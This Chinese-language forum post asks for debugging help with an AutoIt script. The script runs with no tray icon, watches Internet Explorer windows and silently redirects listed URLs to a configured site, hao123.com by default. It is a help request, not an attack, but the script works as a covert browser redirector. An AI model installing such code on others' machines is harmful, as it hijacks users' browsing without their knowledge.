本帖最后由 zwanlei 于 2010-10-31 15:51 编辑
代码如下:#NoTrayIcon
#Region ;**** 参数创建于 ACNWrapper_GUI ****
#AutoIt3Wrapper_icon=D:\tools\ICO\The Icons\Network.ico
#AutoIt3Wrapper_outfile=urltz.exe
#EndRegion ;**** 参数创建于 ACNWrapper_GUI ****
Opt("MustDeclareVars",1)
;au3监控IE地址栏网址自动路转
Global $ConfigFile = @ScriptDir & "\urltz.ini"
Global $oShell,$oShellWindows,$SourceUrls,$TargetURL
Global $DefaultTargetURL = "http://www.hao123.com"
HotKeySet("#{F9}","_Exit")
$SourceUrls = IniReadSection($ConfigFile,"SourceURL")
$TargetURL = IniRead($ConfigFile,"TargetURL","TargetURL",$DefaultTargetURL)
While 1
Sleep(500)
$oShell = ObjCreate('shell.application')
$oShellWindows = $oShell.windows
For $Window In $oShellWindows
Local $i
If StringRight($Window.FullName, 12) = 'iexplore.exe' Then
;If StringRight($Window.FullName, 12) = '360se.exe' Then
For $i = 1 To $SourceUrls[0][0]
If $Window.locationurl=$SourceUrls[$i][1] or $Window.locationurl=$SourceUrls[$i][1] & "/" Then $Window.navigate($TargetURL)
Next
EndIf
Next
WEnd
Func _Exit()
Exit
EndFunc
在执行时,有时(如将IE窗口关闭)会弹出错误提示:
Line 19 (File "F:\urltz.exe")
Error:请求动作失败(请求于对象)
各位大侠们,高手们,帮帮小弟看如何才能避免这个错误提示啊? |